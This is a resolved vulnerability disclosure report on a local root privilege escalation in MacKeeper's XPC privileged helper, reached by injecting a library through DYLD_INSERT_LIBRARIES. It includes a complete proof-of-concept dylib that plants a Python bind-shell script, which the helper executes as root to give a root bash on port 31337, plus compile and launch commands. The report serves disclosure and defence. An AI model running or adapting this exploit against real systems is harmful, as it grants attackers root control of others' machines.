Local Privilege escalation to root via XPC
Team Summary
Official summary from Clario
### Summary The application is divided into a few parts responsible for different actions. The standard, running with user permissions parts are: MacKeeper MacKeeperAgent MacKeeper communicates with more privileged (root) part named com.mackeeper.MacKeeperPrivilegedHelper that is located in the /Library/PrivilegedHelperTools/ directory. The communication is done via the NSXPC mechanism. While establishing the connection, the com.mackeeper.MacKeeperPrivilegedHelper has to ensure that the connecting process is the MacKeeperAgent in order to mitigate privilege escalation bugs. To do so, the -[MKKeenowVPN listener:shouldAcceptNewConnection:] method is used. Inside that method, you check if the connecting process has been signed with the same Developer Certificate that com.mackeeper.MacKeeperPrivilegedHelper was. The problem is that an attacker is able to inject a malicious code into validly signed MacKeeper executable file via DYLD_INSERT_LIBRARIES environment variable and establish a valid XPC connection. ### Steps to reproduce To prepare this PoC I downloaded older version of MacKeeper (4.6.2) that has no 'Hardened Runtime' capability turned on but is still signed with the same Developer Certificate. Note, that we're going to connect to the newest version of Mackeeper. After we downloaded a 'trampoline' executable, we need to prepare a malicious dynamic library that we are going to inject. The code below: ``` #import <Foundation/Foundation.h> @protocol MKIKeenowVPN @property(readonly, nonatomic) BOOL available; - (void)resetPassword:(NSString *)arg1 callback:(void (^)(unsigned long long))arg2; - (void)closeClientWithEmail:(NSString *)arg1 callback:(void (^)(unsigned long long))arg2; - (void)getAccountExpDateWithCallBack:(void (^)(NSDate *, unsigned long long))arg1; - (void)getAccountCredentialWithCallBack:(void (^)(NSString *, NSString *, unsigned long long))arg1; - (void)getAccountTypeWithCallBack:(void (^)(NSString *, unsigned long long))arg1; - (void)loginWithEmail:(NSString *)arg1 password:(NSString *)arg2 callback:(void (^)(unsigned long long))arg3; - (void)addClientWithEmail:(NSString *)arg1 password:(NSString *)arg2 countryCode:(NSString *)arg3 type:(NSString *)arg4 callback:(void (^)(unsigned long long))arg5; - (void)setEncryptionType:(NSString *)arg1 callback:(void (^)(unsigned long long))arg2; - (void)checkAESSupportWithCallback:(void (^)(BOOL))arg1; - (void)retrieveBandwidthForServerAtAddress:(NSString *)arg1 callback:(void (^)(unsigned long long))arg2; - (void)pingServerAtAddress:(NSString *)arg1 callback:(void (^)(unsigned long long, unsigned long long, unsigned long long))arg2; - (void)checkOpenPortWithIP:(NSString *)arg1 protocol:(NSString *)arg2 port:(NSString *)arg3 callback:(void (^)(BOOL))arg4; - (void)retrieveVPNStatusWithCallback:(void (^)(BOOL, unsigned long long))arg1; - (void)stopVPNConnectionWithCallback:(void (^)(unsigned long long))arg1; - (void)startVPNConnectionWithIP:(NSString *)arg1 protocol:(NSString *)arg2 port:(NSString *)arg3 callback:(void (^)(unsigned long long))arg4; - (void)getServerListWithCallback:(void (^)(NSArray *, unsigned long long))arg1; - (void)finalize; - (void)initializeWithOpenVPNPath:(NSString *)arg1 callback:(void (^)(BOOL))arg2; @end @protocol MKIKeenowVPNObserver - (void)privilegedVPNIOCountDidChange:(unsigned long long)arg1; - (void)privilegedVPNStateDidChange:(unsigned long long)arg1; @end @interface MacKeeperMaliciousLibrary : NSObject <MKIKeenowVPNObserver> - (void)startXPCConnection; @end @implementation MacKeeperMaliciousLibrary - (void)privilegedVPNIOCountDidChange:(unsigned long long)arg1 { NSLog(@"[+] privilegedVPNIOCountDidChange CALLED with %llu", arg1); } - (void)privilegedVPNStateDidChange:(unsigned long long)arg1 { NSLog(@"[+] privilegedVPNStateDidChange CALLED with %llu", arg1); } - (instancetype)init { self = [super init]; if (self) { [self startXPCConnection]; } return self; } - (void)startXPCConnection { NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MKIKeenowVPN)]; NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.mackeeper.MacKeeperPrivilegedHelperMKIKeenowVPN.mach" options:NSXPCConnectionPrivileged]; xpcConnection.remoteObjectInterface = remoteInterface; xpcConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MKIKeenowVPNObserver)]; xpcConnection.exportedObject = self; xpcConnection.interruptionHandler = ^{ NSLog(@"Connection Terminated"); }; xpcConnection.invalidationHandler = ^{ NSLog(@"Connection Invalidated"); }; [xpcConnection resume]; [xpcConnection.remoteObjectProxy initializeWithOpenVPNPath:@"/tmp/rootshell.sh" callback:^(BOOL success) { NSLog(@"initializeWithOpenVPNPath? %d", success); }]; sleep(1); [xpcConnection.remoteObjectProxy startVPNConnectionWithIP:@"127.0.0.1" protocol:@"TCP" port:@"8888" callback:^(unsigned long long success) { NSLog(@"startVPNConnectionWithIP? %llu", success); }]; sleep(1); } @end __attribute__((constructor)) static void pwn() { NSString *rootshell = @"/usr/local/bin/python3 -c \"import os;import pty;import socket;s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(('127.0.0.1', 31337));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);pty.spawn('/bin/bash');s.close()\""; [rootshell writeToFile:@"/tmp/rootshell.sh" atomically:YES encoding:NSUTF8StringEncoding error:nil]; NSLog(@"[!] DYLIB SUCCESSFULLY INJECTED"); [MacKeeperMaliciousLibrary new]; exit(-3); } ``` Compile the lib using gcc: ``` gcc -dynamiclib malicious_library.m -o libMacKeeperMaliciousLibrary.dylib -lobjc -framework Foundation ``` Run following command: ``` DYLD_INSERT_LIBRARIES=./libMacKeeperMaliciousLibrary.dylib ./MacKeeper_old.app/Contents/MacOS/MacKeeper ``` If the exploit succeeded the rootshell should be spawned (screen attached). If not, try to kill `com.mackeeper.MacKeeperPrivilegedHelper` and immediately run the exploit again.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Privilege Escalation